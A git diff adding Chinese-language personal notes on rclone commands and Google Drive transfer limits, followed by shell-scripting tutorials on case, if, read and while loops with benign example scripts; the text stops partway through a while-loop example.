||||||
|
rclone dedupe # 以交互方式查找重复文件并删除/重命名它们
|
||||||
|
--dedupe-mode newest - 删除相同的文件,然后保留最新的文件,非交互方式
|
||||||
|
|
||||||
|
rclone cat
|
||||||
|
# 同linux
|
||||||
|
|
||||||
|
rclone copyto
|
||||||
|
# 将文件从源复制到dest,跳过已复制的文件
|
||||||
|
|
||||||
|
rclone gendocs output_directory [flags]
|
||||||
|
# 生成rclone的说明文档
|
||||||
|
|
||||||
|
rclone listremotes # 列出配置文件中所有源
|
||||||
|
--long 显示类型和名称 默认只显示名称
|
||||||
|
|
||||||
|
rclone moveto
|
||||||
|
# 不会传输未更改的文件
|
||||||
|
|
||||||
|
rclone cryptcheck /path/to/files encryptedremote:path
|
||||||
|
# 检查加密源的完整性
|
||||||
|
|
||||||
|
rclone about
|
||||||
|
# 获取源的配额 ,eg
|
||||||
|
$ rclone about ODA1P1:
|
||||||
|
Total: 5T
|
||||||
|
Used: 284.885G
|
||||||
|
Free: 4.668T
|
||||||
|
Trashed: 43.141G
|
||||||
|
--json # 以 json 格式输出
|
||||||
|
|
||||||
|
|
||||||
|
rclone mount # 挂载命令
|
||||||
|
|
||||||
|
# 在Windows使用则需要安装winfsp
|
||||||
|
--vfs-cache-mode # 不使用该参数,只能按顺序写入文件,只能在读取时查找,即windows程序无法操作文件,使用该参数即启用缓存机制
|
||||||
|
# 共四种模式:off|minimal|writes|full 缓存模式越高,rclone越多,代价是使用磁盘空间,默认为full
|
||||||
|
--vfs-cache-max-age 24h # 缓存24小时内修改过的文件
|
||||||
|
--vfs-cache-max-size 10g # 最大总缓存10g (缓存可能会超过此大小)
|
||||||
|
--cache-dir 指定缓存位置
|
||||||
|
--umask int 覆盖文件系统权限
|
||||||
|
--allow-non-empty 允许挂载在非空目录
|
||||||
|
--allow-other 允许其他用户访问
|
||||||
|
--no-check-certificate 不检查服务器SSL证书
|
||||||
|
--no-gzip-encoding 不设置接受gzip编码
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 用自己的 api 进行 gd 转存
|
||||||
|
|
||||||
|
>
|
||||||
|
见这位大佬博客:[https://www.moerats.com/archives/877/](https://www.moerats.com/archives/877/)
|
||||||
|
|
||||||
|
|
||||||
|
使用 `rclone` 的人太多吉会有一个问题,我们使用的是共享的`client_id`,在高峰期会出现`403`或者还没到`750G`限制就出现`Limitations`问题,所以高频率使用`rclone`转存谷歌文件得朋友就需要使用自己的`api`。通过上面那篇文章给出的方法获取谷歌的 API 客户端`ID`和客户端密钥,`rclone config`命令配置的时候,会有部分提示你输入,直接粘贴就`OK`.
|
||||||
|
|
||||||
|
挂载就变成:
|
||||||
|
|
||||||
|
```
|
||||||
|
#该参数主要是上传用的
|
||||||
|
/usr/bin/rclone mount DriveName:Folder LocalFolder \
|
||||||
|
--umask 0000 \
|
||||||
|
--default-permissions \
|
||||||
|
--allow-non-empty \
|
||||||
|
--allow-other \
|
||||||
|
--transfers 4 \
|
||||||
|
--buffer-size 32M \
|
||||||
|
--low-level-retries 200
|
||||||
|
|
||||||
|
#如果你还涉及到读取使用,比如使用H5ai等在线播放,就还建议加3个参数,添加格式参考上面
|
||||||
|
--dir-cache-time 12h
|
||||||
|
--vfs-read-chunk-size 32M
|
||||||
|
--vfs-read-chunk-size-limit 1G
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 突破 Google Drive 服务端 750g 限制
|
||||||
|
|
||||||
|
谷歌官方明确限制通过第三方`api`每天限制转存`750G`文件,这个 `750G` 是直接通过谷歌服务端进行,文件没有经过客户端,另外经过客户端上传到 `gd` 与 服务端转存不冲突,官方也有 `750G` 限制,所以每天上传限额一共是 `1.5T`
|
||||||
|
|
||||||
|
```
|
||||||
|
# 一般用法,使用服务端API,不消耗本地流量
|
||||||
|
rclone copy GD1:/PATH GD2:/PATH
|
||||||
|
|
||||||
|
# disable server side copies 使用客户端 API,流量走客户端
|
||||||
|
rclone --disable copy GD1:/PATH GD2:/PATH
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
这样就是每天 `1.5T` 了。
|
||||||
|
|
||||||
|
## 谷歌文档限制
|
||||||
|
|
||||||
|
在 `rclone ls` 中谷歌文档会出现 `-1`, 而对于其他 `VFS` 层文件显示 `0` ,比喻通过 `rclone mount`,`rclone serve`操作的文件。而我们用 `rclone sync`,`rclone copy`的命令时,它会忽略文档大小而直接操作。也就是说如果你没有下载谷歌文档,就不知道它多大,没啥影响…
|
|
@ -0,0 +1,362 @@
|
||||||
|
# 原创
|
||||||
|
: Shell流程控制:case 分支
|
||||||
|
|
||||||
|
# Shell流程控制:case 分支
|
||||||
|
|
||||||
|
## 流程控制:case 分支
|
||||||
|
|
||||||
|
### case
|
||||||
|
|
||||||
|
```
|
||||||
|
case word in
|
||||||
|
[pattern [| pattern]...) commands ;;]...
|
||||||
|
esac
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
#!/bin/bash
|
||||||
|
# case-menu: a menu driven system information program
|
||||||
|
clear
|
||||||
|
echo "
|
||||||
|
Please Select:
|
||||||
|
1. Display System Information
|
||||||
|
2. Display Disk Space
|
||||||
|
3. Display Home Space Utilization
|
||||||
|
0. Quit
|
||||||
|
"
|
||||||
|
read -p "Enter selection [0-3] > "
|
||||||
|
case $REPLY in
|
||||||
|
0) echo "Program terminated."
|
||||||
|
exit
|
||||||
|
;;
|
||||||
|
1) echo "Hostname: $HOSTNAME"
|
||||||
|
uptime
|
||||||
|
;;
|
||||||
|
2) df -h
|
||||||
|
;;
|
||||||
|
3) if [[ $(id -u) -eq 0 ]]; then
|
||||||
|
echo "Home Space Utilization (All Users)"
|
||||||
|
du -sh /home/*
|
||||||
|
else
|
||||||
|
echo "Home Space Utilization ($USER)"
|
||||||
|
du -sh $HOME
|
||||||
|
fi
|
||||||
|
;;
|
||||||
|
*) echo "Invalid entry" >&2
|
||||||
|
exit 1
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 模式
|
||||||
|
|
||||||
|
case 语句使用的模式和路径展开中使用的那些是一样的。模式以一个 “)” 为终止符。这里是一些有效的模式。
|
||||||
|
|
||||||
|
|模式|描述
|
||||||
|
|------
|
||||||
|
|a)|若单词为 “a”,则匹配
|
||||||
|
|[[:alpha:]])|若单词是一个字母字符,则匹配
|
||||||
|
|???)|若单词只有3个字符,则匹配
|
||||||
|
|*.txt)|若单词以 “.txt” 字符结尾,则匹配
|
||||||
|
|*)|匹配任意单词。把这个模式做为 case 命令的最后一个模式,是一个很好的做法, 可以捕捉到任意一个与先前模式不匹配的数值;也就是说,捕捉到任何可能的无效值。
|
||||||
|
|
||||||
|
```
|
||||||
|
#!/bin/bash
|
||||||
|
read -p "enter word > "
|
||||||
|
case $REPLY in
|
||||||
|
[[:alpha:]]) echo "is a single alphabetic character." ;;
|
||||||
|
[ABC][0-9]) echo "is A, B, or C followed by a digit." ;;
|
||||||
|
???) echo "is three characters long." ;;
|
||||||
|
*.txt) echo "is a word ending in '.txt'" ;;
|
||||||
|
*) echo "is something else." ;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
还可以使用竖线字符作为分隔符,把多个模式结合起来。这就创建了一个 “或” 条件模式。这对于处理诸如大小写字符很有用处。例如:
|
||||||
|
|
||||||
|
```
|
||||||
|
#!/bin/bash
|
||||||
|
# case-menu: a menu driven system information program
|
||||||
|
clear
|
||||||
|
echo "
|
||||||
|
Please Select:
|
||||||
|
A. Display System Information
|
||||||
|
B. Display Disk Space
|
||||||
|
C. Display Home Space Utilization
|
||||||
|
Q. Quit
|
||||||
|
"
|
||||||
|
read -p "Enter selection [A, B, C or Q] > "
|
||||||
|
case $REPLY in
|
||||||
|
q|Q) echo "Program terminated."
|
||||||
|
exit
|
||||||
|
;;
|
||||||
|
a|A) echo "Hostname: $HOSTNAME"
|
||||||
|
uptime
|
||||||
|
;;
|
||||||
|
b|B) df -h
|
||||||
|
;;
|
||||||
|
c|C) if [[ $(id -u) -eq 0 ]]; then
|
||||||
|
echo "Home Space Utilization (All Users)"
|
||||||
|
du -sh /home/*
|
||||||
|
else
|
||||||
|
echo "Home Space Utilization ($USER)"
|
||||||
|
du -sh $HOME
|
||||||
|
fi
|
||||||
|
;;
|
||||||
|
*) echo "Invalid entry" >&2
|
||||||
|
exit 1
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
添加的 “;;&” 的语法允许 case 语句继续执行下一条测试,而不是简单地终止运行。
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
#!/bin/bash
|
||||||
|
# case4-2: test a character
|
||||||
|
read -n 1 -p "Type a character > "
|
||||||
|
echo
|
||||||
|
case $REPLY in
|
||||||
|
[[:upper:]]) echo "'$REPLY' is upper case." ;;&
|
||||||
|
[[:lower:]]) echo "'$REPLY' is lower case." ;;&
|
||||||
|
[[:alpha:]]) echo "'$REPLY' is alphabetic." ;;&
|
||||||
|
[[:digit:]]) echo "'$REPLY' is a digit." ;;&
|
||||||
|
[[:graph:]]) echo "'$REPLY' is a visible character." ;;&
|
||||||
|
[[:punct:]]) echo "'$REPLY' is a punctuation symbol." ;;&
|
||||||
|
[[:space:]]) echo "'$REPLY' is a whitespace character." ;;&
|
||||||
|
[[:xdigit:]]) echo "'$REPLY' is a hexadecimal digit." ;;&
|
||||||
|
esac
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 位置参数
|
||||||
|
|
||||||
|
### 访问命令行
|
||||||
|
|
||||||
|
shell 提供了一个称为位置参数的变量集合,这个集合包含了命令行中所有独立的单词。这些变量按照从0到9给予命名。
|
||||||
|
|
||||||
|
```
|
||||||
|
#!/bin/bash
|
||||||
|
# posit-param: script to view command line parameters
|
||||||
|
echo "
|
||||||
|
\$0 = $0
|
||||||
|
\$1 = $1
|
||||||
|
\$2 = $2
|
||||||
|
\$3 = $3
|
||||||
|
\$4 = $4
|
||||||
|
\$5 = $5
|
||||||
|
\$6 = $6
|
||||||
|
\$7 = $7
|
||||||
|
\$8 = $8
|
||||||
|
\$9 = $9
|
||||||
|
"
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
[me@linuxbox ~]$ posit-param a b c d
|
||||||
|
$0 = /home/me/bin/posit-param
|
||||||
|
$1 = a
|
||||||
|
$2 = b
|
||||||
|
$3 = c
|
||||||
|
$4 = d
|
||||||
|
$5 =
|
||||||
|
$6 =
|
||||||
|
$7 =
|
||||||
|
$8 =
|
||||||
|
$9 =
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### shift - 访问多个参数的利器
|
||||||
|
|
||||||
|
执行一次 shift 命令, 就会导致所有的位置参数 “向下移动一个位置”。
|
||||||
|
|
||||||
|
```
|
||||||
|
#!/bin/bash
|
||||||
|
# posit-param2: script to display all arguments
|
||||||
|
# 只要参数个数不为零就会继续执行的 while 循环
|
||||||
|
count=1
|
||||||
|
while [[ $# -gt 0 ]]; do
|
||||||
|
echo "Argument $count = $1"
|
||||||
|
count=$((count + 1))
|
||||||
|
shift
|
||||||
|
done
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
[me@linuxbox ~]$ posit-param2 a b c d
|
||||||
|
Argument 1 = a
|
||||||
|
Argument 2 = b
|
||||||
|
Argument 3 = c
|
||||||
|
Argument 4 = d
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 处理集体位置参数
|
||||||
|
|
||||||
|
shell 提供了两种特殊的参数,他们二者都能扩展成完整的位置参数列表,但以相当微妙的方式略有不同。
|
||||||
|
|
||||||
|
|参数|描述
|
||||||
|
|------
|
||||||
|
|$*|展开成一个从1开始的位置参数列表。当它被用双引号引起来的时候,展开成一个由双引号引起来 的字符串,包含了所有的位置参数,每个位置参数由 shell 变量 IFS 的第一个字符(默认为一个空格)分隔开。
|
||||||
|
|$@|展开成一个从1开始的位置参数列表。当它被用双引号引起来的时候, 它把每一个位置参数展开成一个由双引号引起来的分开的字符串。
|
||||||
|
|
||||||
|
```
|
||||||
|
#!/bin/bash
|
||||||
|
# posit-params3 : script to demonstrate $* and $@
|
||||||
|
print_params () {
|
||||||
|
echo "\$1 = $1"
|
||||||
|
echo "\$2 = $2"
|
||||||
|
echo "\$3 = $3"
|
||||||
|
echo "\$4 = $4"
|
||||||
|
}
|
||||||
|
pass_params () {
|
||||||
|
echo -e "\n" '$* :'; print_params $*
|
||||||
|
echo -e "\n" '"$*" :'; print_params "$*"
|
||||||
|
echo -e "\n" '$@ :'; print_params $@
|
||||||
|
echo -e "\n" '"$@" :'; print_params "$@"
|
||||||
|
}
|
||||||
|
pass_params "word" "words with spaces"
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
[me@linuxbox ~]$ posit-param3
|
||||||
|
$* :
|
||||||
|
$1 = word
|
||||||
|
$2 = words
|
||||||
|
$3 = with
|
||||||
|
$4 = spaces
|
||||||
|
"$*" :
|
||||||
|
$1 = word words with spaces
|
||||||
|
$2 =
|
||||||
|
$3 =
|
||||||
|
$4 =
|
||||||
|
$@ :
|
||||||
|
$1 = word
|
||||||
|
$2 = words
|
||||||
|
$3 = with
|
||||||
|
$4 = spaces
|
||||||
|
"$@" :
|
||||||
|
$1 = word
|
||||||
|
$2 = words with spaces
|
||||||
|
$3 =
|
||||||
|
$4 =
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 一个更复杂的应用
|
||||||
|
|
||||||
|
```
|
||||||
|
#!/bin/bash
|
||||||
|
# sys_info_page: program to output a system information page
|
||||||
|
PROGNAME=$(basename $0)
|
||||||
|
TITLE="System Information Report For $HOSTNAME"
|
||||||
|
CURRENT_TIME=$(date +"%x %r %Z")
|
||||||
|
TIMESTAMP="Generated $CURRENT_TIME, by $USER"
|
||||||
|
report_uptime () {
|
||||||
|
cat <<- _EOF_
|
||||||
|
<H2>System Uptime</H2>
|
||||||
|
<PRE>$(uptime)</PRE>
|
||||||
|
_EOF_
|
||||||
|
return
|
||||||
|
}
|
||||||
|
report_disk_space () {
|
||||||
|
cat <<- _EOF_
|
||||||
|
<H2>Disk Space Utilization</H2>
|
||||||
|
<PRE>$(df -h)</PRE>
|
||||||
|
_EOF_
|
||||||
|
return
|
||||||
|
}
|
||||||
|
report_home_space () {
|
||||||
|
if [[ $(id -u) -eq 0 ]]; then
|
||||||
|
cat <<- _EOF_
|
||||||
|
<H2>Home Space Utilization (All Users)</H2>
|
||||||
|
<PRE>$(du -sh /home/*)</PRE>
|
||||||
|
_EOF_
|
||||||
|
else
|
||||||
|
cat <<- _EOF_
|
||||||
|
<H2>Home Space Utilization ($USER)</H2>
|
||||||
|
<PRE>$(du -sh $HOME)</PRE>
|
||||||
|
_EOF_
|
||||||
|
fi
|
||||||
|
return
|
||||||
|
}
|
||||||
|
usage () {
|
||||||
|
echo "$PROGNAME: usage: $PROGNAME [-f file | -i]"
|
||||||
|
return
|
||||||
|
}
|
||||||
|
write_html_page () {
|
||||||
|
cat <<- _EOF_
|
||||||
|
<HTML>
|
||||||
|
<HEAD>
|
||||||
|
<TITLE>$TITLE</TITLE>
|
||||||
|
</HEAD>
|
||||||
|
<BODY>
|
||||||
|
<H1>$TITLE</H1>
|
||||||
|
<P>$TIMESTAMP</P>
|
||||||
|
$(report_uptime)
|
||||||
|
$(report_disk_space)
|
||||||
|
$(report_home_space)
|
||||||
|
</BODY>
|
||||||
|
</HTML>
|
||||||
|
_EOF_
|
||||||
|
return
|
||||||
|
}
|
||||||
|
# process command line options
|
||||||
|
interactive=
|
||||||
|
filename=
|
||||||
|
while [[ -n $1 ]]; do
|
||||||
|
case $1 in
|
||||||
|
-f | --file) shift
|
||||||
|
filename=$1
|
||||||
|
;;
|
||||||
|
-i | --interactive) interactive=1
|
||||||
|
;;
|
||||||
|
-h | --help) usage
|
||||||
|
exit
|
||||||
|
;;
|
||||||
|
*) usage >&2
|
||||||
|
exit 1
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
shift
|
||||||
|
done
|
||||||
|
# interactive mode
|
||||||
|
if [[ -n $interactive ]]; then
|
||||||
|
while true; do
|
||||||
|
read -p "Enter name of output file: " filename
|
||||||
|
if [[ -e $filename ]]; then
|
||||||
|
read -p "'$filename' exists. Overwrite? [y/n/q] > "
|
||||||
|
case $REPLY in
|
||||||
|
Y|y) break
|
||||||
|
;;
|
||||||
|
Q|q) echo "Program terminated."
|
||||||
|
exit
|
||||||
|
;;
|
||||||
|
*) continue
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
# output html page
|
||||||
|
if [[ -n $filename ]]; then
|
||||||
|
if touch $filename && [[ -f $filename ]]; then
|
||||||
|
write_html_page > $filename
|
||||||
|
else
|
||||||
|
echo "$PROGNAME: Cannot write file '$filename'" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
write_html_page
|
||||||
|
fi
|
||||||
|
|
||||||
|
```
|
|
@ -0,0 +1,292 @@
|
||||||
|
# 原创
|
||||||
|
: Shell流程控制:if 分支结构
|
||||||
|
|
||||||
|
# Shell流程控制:if 分支结构
|
||||||
|
|
||||||
|
## 流程控制:if 分支结构
|
||||||
|
|
||||||
|
### if
|
||||||
|
|
||||||
|
```
|
||||||
|
x=5
|
||||||
|
if [ $x = 5 ]; then
|
||||||
|
echo "x equals 5."
|
||||||
|
else
|
||||||
|
echo "x does not equal 5."
|
||||||
|
fi
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
`echo $?`查看命令执行返回的状态。经常与 if 一块使用的命令是 test,它执行各种各样的检查与比较:
|
||||||
|
|
||||||
|
```
|
||||||
|
test expression
|
||||||
|
[ expression ]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
**测试文件表达式:**
|
||||||
|
|
||||||
|
|表达式|如果下列条件为真则返回True
|
||||||
|
|------
|
||||||
|
|file1 -ef file2|file1 和 file2 拥有相同的索引号(通过硬链接两个文件名指向相同的文件)。
|
||||||
|
|file1 -nt file2|file1新于 file2。
|
||||||
|
|file1 -ot file2|file1早于 file2。
|
||||||
|
|-b file|file 存在并且是一个块(设备)文件。
|
||||||
|
|-c file|file 存在并且是一个字符(设备)文件。
|
||||||
|
|-d file|file 存在并且是一个目录。
|
||||||
|
|-e file|file 存在。
|
||||||
|
|-f file|file 存在并且是一个普通文件。
|
||||||
|
|-g file|file 存在并且设置了组 ID。
|
||||||
|
|-G file|file 存在并且由有效组 ID 拥有。
|
||||||
|
|-k file|file 存在并且设置了它的“sticky bit”。
|
||||||
|
|-L file|file 存在并且是一个符号链接。
|
||||||
|
|-O file|file 存在并且由有效用户 ID 拥有。
|
||||||
|
|-p file|file 存在并且是一个命名管道。
|
||||||
|
|-r file|file 存在并且可读(有效用户有可读权限)。
|
||||||
|
|-s file|file 存在且其长度大于零。
|
||||||
|
|-S file|file 存在且是一个网络 socket。
|
||||||
|
|-t fd|fd 是一个定向到终端/从终端定向的文件描述符 。 这可以被用来决定是否重定向了标准输入/输出错误。
|
||||||
|
|-u file|file 存在并且设置了 setuid 位。
|
||||||
|
|-w file|file 存在并且可写(有效用户拥有可写权限)。
|
||||||
|
|-x file|file 存在并且可执行(有效用户有执行/搜索权限)。
|
||||||
|
|
||||||
|
```
|
||||||
|
test_file () {
|
||||||
|
# test-file: Evaluate the status of a file
|
||||||
|
FILE=~/.bashrc
|
||||||
|
if [ -e "$FILE" ]; then
|
||||||
|
if [ -f "$FILE" ]; then
|
||||||
|
echo "$FILE is a regular file."
|
||||||
|
fi
|
||||||
|
if [ -d "$FILE" ]; then
|
||||||
|
echo "$FILE is a directory."
|
||||||
|
fi
|
||||||
|
if [ -r "$FILE" ]; then
|
||||||
|
echo "$FILE is readable."
|
||||||
|
fi
|
||||||
|
if [ -w "$FILE" ]; then
|
||||||
|
echo "$FILE is writable."
|
||||||
|
fi
|
||||||
|
if [ -x "$FILE" ]; then
|
||||||
|
echo "$FILE is executable/searchable."
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
echo "$FILE does not exist"
|
||||||
|
# 函数中用return 语句来代替 exit 命令
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
**测试字符串表达式:**
|
||||||
|
|
||||||
|
|表达式|如果下列条件为真则返回True
|
||||||
|
|------
|
||||||
|
|string|string 不为 null。
|
||||||
|
|-n string|字符串 string 的长度大于零。
|
||||||
|
|-z string|字符串 string 的长度为零。
|
||||||
|
|string1 = string2string1 == string2|string1 和 string2 相同。 单或双等号都可以,不过双等号更受欢迎。
|
||||||
|
|string1 != string2|string1 和 string2 不相同。
|
||||||
|
|string1 > string2|sting1 排列在 string2 之后。
|
||||||
|
|string1 < string2|string1 排列在 string2 之前。
|
||||||
|
|
||||||
|
>
|
||||||
|
当与 test 一块使用的时候, > 和 < 表达式操作符必须用引号引起来(或者是用反斜杠转义)
|
||||||
|
|
||||||
|
|
||||||
|
### 整型表达式
|
||||||
|
|
||||||
|
测试整数表达式:
|
||||||
|
|
||||||
|
|表达式|如果为真…
|
||||||
|
|------
|
||||||
|
|integer1 -eq integer2|integer1 等于 integer2。
|
||||||
|
|integer1 -ne integer2|integer1 不等于 integer2。
|
||||||
|
|integer1 -le integer2|integer1 小于或等于 integer2。
|
||||||
|
|integer1 -lt integer2|integer1 小于 integer2。
|
||||||
|
|integer1 -ge integer2|integer1 大于或等于 integer2。
|
||||||
|
|integer1 -gt integer2|integer1 大于 integer2。
|
||||||
|
|
||||||
|
### 更现代的测试版本
|
||||||
|
|
||||||
|
```
|
||||||
|
# 加强的 test 命令替代物
|
||||||
|
[[ expression ]]
|
||||||
|
# 添加的另一个功能是==操作符支持类型匹配
|
||||||
|
if [[ $FILE == foo.* ]]; then
|
||||||
|
...
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
`string1 =~ regex`:匹配正则表达式则返回真
|
||||||
|
|
||||||
|
### (( )) - 为整数设计
|
||||||
|
|
||||||
|
`(( ))` 复合命令,支持一套 完整的算术计算,`(( ))`被用来执行算术真测试。如果算术计算的结果是非零值,则其测试值为真。
|
||||||
|
|
||||||
|
```
|
||||||
|
# 判断一个数的奇偶性
|
||||||
|
if (( ((INT % 2)) == 0)); then
|
||||||
|
echo "INT is even."
|
||||||
|
else
|
||||||
|
echo "INT is odd."
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 结合表达式
|
||||||
|
|
||||||
|
逻辑操作符:
|
||||||
|
|
||||||
|
|操作符|测试|[[ ]] and (( ))
|
||||||
|
|------
|
||||||
|
|AND|-a|&&
|
||||||
|
|OR|-o|||
|
||||||
|
|NOT|!|!
|
||||||
|
|
||||||
|
### 控制操作符:分支的另一种方法
|
||||||
|
|
||||||
|
```
|
||||||
|
command1 && command2
|
||||||
|
command1 || command2
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
对于 && 操作符,先执行 command1,只有command1 执行成功后, 才会执行 command2。对于 || 操作符,先执行 command1,只有command1 执行失败后, 才会执行 command2。
|
||||||
|
|
||||||
|
## 读取键盘输入
|
||||||
|
|
||||||
|
### read - 从标准输入读取数值
|
||||||
|
|
||||||
|
```
|
||||||
|
read [-options] [variable...]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
#!/bin/bash
|
||||||
|
# read-integer: evaluate the value of an integer.
|
||||||
|
# -n 选项(其会删除输出结果末尾的换行符)的 echo 命令,来显示提示信息
|
||||||
|
echo -n "Please enter an integer -> "
|
||||||
|
read int
|
||||||
|
if [[ "$int" =~ ^-?[0-9]+$ ]]; then
|
||||||
|
if [ $int -eq 0 ]; then
|
||||||
|
echo "$int is zero."
|
||||||
|
else
|
||||||
|
if [ $int -lt 0 ]; then
|
||||||
|
echo "$int is negative."
|
||||||
|
else
|
||||||
|
echo "$int is positive."
|
||||||
|
fi
|
||||||
|
if [ $((int % 2)) -eq 0 ]; then
|
||||||
|
echo "$int is even."
|
||||||
|
else
|
||||||
|
echo "$int is odd."
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
echo "Input value is not an integer." >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
alien@localhost:~ $ info-test
|
||||||
|
Please enter an integer -> 3
|
||||||
|
3 is positive.
|
||||||
|
3 is odd.
|
||||||
|
alien@localhost:~ $ info-test
|
||||||
|
Please enter an integer -> 6
|
||||||
|
6 is positive.
|
||||||
|
6 is even.
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
read 可以给多个变量赋值:
|
||||||
|
|
||||||
|
```
|
||||||
|
read var1 var2 var3 var4 var5
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
执行脚本时输入时以空格隔开,默认值为空,额外的输入数据会包含到最后一个变量中。
|
||||||
|
|
||||||
|
如果 read 命令之后没有列出变量名,则一个 shell 变量,默认的REPLY,将会包含 所有的输入:
|
||||||
|
|
||||||
|
**read选项:**
|
||||||
|
|
||||||
|
|选项|说明
|
||||||
|
|------
|
||||||
|
|-a array|把输入赋值到数组 array 中,从索引号零开始。我们 将在第36章中讨论数组问题。
|
||||||
|
|-d delimiter|用字符串 delimiter 中的第一个字符指示输入结束,而不是一个换行符。
|
||||||
|
|-e|使用 Readline 来处理输入。这使得与命令行相同的方式编辑输入。
|
||||||
|
|-n num|读取 num 个输入字符,而不是整行。
|
||||||
|
|-p prompt|为输入显示提示信息,使用字符串 prompt。
|
||||||
|
|-r|Raw mode. 不把反斜杠字符解释为转义字符。
|
||||||
|
|-s|Silent mode. 不会在屏幕上显示输入的字符。当输入密码和其它确认信息的时候,这会很有帮助。
|
||||||
|
|-t seconds|超时. 几秒钟后终止输入。若输入超时,read 会返回一个非零退出状态。
|
||||||
|
|-u fd|使用文件描述符 fd 中的输入,而不是标准输入。
|
||||||
|
|
||||||
|
-t和-sp 选项,读取“秘密”输入,在特定的时间内 输入没有完成,就终止输入。
|
||||||
|
|
||||||
|
### IFS
|
||||||
|
|
||||||
|
**IFS** 的默认值包含一个空格,一个 tab,和一个换行符,每一个都会把 字段分割开。
|
||||||
|
|
||||||
|
```
|
||||||
|
IFS=":" read user pw uid gid name home shell <<< "$file_info"
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
这一行由三部分组成:对一个变量的赋值操作,一个带有一串参数的 read 命令,和一个奇怪的新的重定向操作符。这个 `<<<` 操作符指示一个 here 字符串。**不能把 管道用在 read 上**----管道线 会创建子 shell。
|
||||||
|
|
||||||
|
### 菜单
|
||||||
|
|
||||||
|
```
|
||||||
|
#!/bin/bash
|
||||||
|
# read-menu: a menu driven system information program
|
||||||
|
clear
|
||||||
|
echo "
|
||||||
|
Please Select:
|
||||||
|
|
||||||
|
1. Display System Information
|
||||||
|
2. Display Disk Space
|
||||||
|
3. Display Home Space Utilization
|
||||||
|
0. Quit
|
||||||
|
"
|
||||||
|
read -p "Enter selection [0-3] > "
|
||||||
|
|
||||||
|
if [[ $REPLY =~ ^[0-3]$ ]]; then
|
||||||
|
if [[ $REPLY == 0 ]]; then
|
||||||
|
echo "Program terminated."
|
||||||
|
exit
|
||||||
|
fi
|
||||||
|
if [[ $REPLY == 1 ]]; then
|
||||||
|
echo "Hostname: $HOSTNAME"
|
||||||
|
uptime
|
||||||
|
exit
|
||||||
|
fi
|
||||||
|
if [[ $REPLY == 2 ]]; then
|
||||||
|
df -h
|
||||||
|
exit
|
||||||
|
fi
|
||||||
|
if [[ $REPLY == 3 ]]; then
|
||||||
|
if [[ $(id -u) -eq 0 ]]; then
|
||||||
|
echo "Home Space Utilization (All Users)"
|
||||||
|
du -sh /home/*
|
||||||
|
else
|
||||||
|
echo "Home Space Utilization ($USER)"
|
||||||
|
du -sh $HOME
|
||||||
|
fi
|
||||||
|
exit
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
echo "Invalid entry." >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
第一部分显示菜单和用户输入。第二部分确认用户反馈,并执行 选择的行动。
|
|
@ -0,0 +1,178 @@
|
||||||
|
# 原创
|
||||||
|
: Shell流程控制:while/until 循环
|
||||||
|
|
||||||
|
# Shell流程控制:while/until 循环
|
||||||
|
|
||||||
|
## 流程控制:while/until 循环
|
||||||
|
|
||||||
|
### while
|
||||||
|
|
||||||
|
```
|
||||||
|
#!/bin/bash
|
||||||
|
# while-count: display a series of numbers
|
||||||
|
count=1
|
||||||
|
while [ $count -le 5 ]; do
|
||||||
|
echo $count
|
||||||
|
count=$((count + 1))
|
||||||
|
done
|
||||||
|
echo "Finished."
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
优化上一节的菜单脚本:
|
||||||
|
|
||||||
|
```
|
||||||
|
#!/bin/bash
|
||||||
|
# while-menu: a menu driven system information program
|
||||||
|
DELAY=3 # Number of seconds to display results
|
||||||
|
while true; do
|
||||||
|
clear
|
||||||
|
cat <<- _EOF_
|
||||||
|
Please Select:
|
||||||
|
1. Display System Information
|
||||||
|
2. Display Disk Space
|
||||||
|
3. Display Home Space Utilization
|
||||||
|
0. Quit
|
||||||
|
_EOF_
|
||||||
|
read -p "Enter selection [0-3] > "
|
||||||
|
if [[ $REPLY =~ ^[0-3]$ ]]; then
|
||||||
|
if [[ $REPLY == 1 ]]; then
|
||||||
|
echo "Hostname: $HOSTNAME"
|
||||||
|
